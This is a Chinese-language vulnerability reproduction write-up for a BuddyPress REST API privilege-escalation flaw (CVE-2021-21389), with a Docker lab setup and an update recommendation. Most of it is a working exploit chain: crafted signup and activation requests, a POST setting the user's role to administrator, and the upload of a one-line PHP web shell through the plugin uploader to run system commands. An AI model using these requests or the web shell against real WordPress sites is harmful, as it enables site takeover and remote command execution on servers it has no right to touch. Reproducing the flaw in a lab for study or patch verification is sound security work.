一、漏洞描述

BuddyPress 是一个用于构建社区站点的开源 WordPress 插件。在 7.2.1 之前的 5.0.0 版本的 BuddyPress 中,非特权普通用户可以通过利用 REST API 成员端点中的问题来获得管理员权限。该漏洞已在 BuddyPress 7.2.1 中修复。插件的现有安装应更新到此版本以缓解问题

二、影响版本

5.0.0 <BuddyPress< 7.2.1

三、漏洞环境

1、dockerhub拉镜像,docker pull hoangkien1020/buddypress:cve202121389

2、启动环境,docker run -p 80:80 -d hoangkien1020/buddypress:cve202121389

四、漏洞复现

1、构造发包:POST /wp-json/buddypress/v1/signup

{"user_login": "test1121", "user_email": "qxzkpzc@test.com", "user_name": "test1121", "password": "test1121"}

2、将注册时的activation_key取出来,构造发包PUT //wp-json/buddypress/v1/signup/activate/cPyemIPO4HhzOaPpJtA9oG1MUlxULeiM,以绕过邮箱验证

3、新建分组,填完Details后,然后settings默认点击下一步,然后重新进入groups,已经创建成功。

4、点开group1134进入manage下面的members,点击Ban,然后抓包,获取到有效的Cookie和X-WP-Nonce,然后构造发包POST /wp-json/buddypress/v1/members/me,替换掉里面的Cookie和X-WP-Nonce,然后获取administrator角色的权限

{"roles": "administrator"}

刷新页面后,我们已经获取到administrator角色的权限可以查看和操作所有模块,我们通过更新plugins,上传木马

选择文件时,选择所有文件,保险起见选择啦.png格式的小马(后测试发现可以直接上传.php文件),测试一下选择上传后,抓包修改,修改为.php模式,

Content-Disposition: form-data; name="pluginzip"; filename="c.php"

Content-Type: text/php

<?php

system($_GET[cmd]);

?>

上传成功后,status显示为200,但是显示不可更新,我们从/wp-content/uploads/2022/05/(上传的年月)路径下获取已经上传的木马文件,成功执行命令

五、更新建议

目前厂商已发布升级补丁以修复漏洞或直接更新到最新版本,补丁获取链接:

BuddyPress 7.2.1 Security Release · BuddyPress.org

Logo

权威|前沿|技术|干货|国内首个API全生命周期开发者社区

更多推荐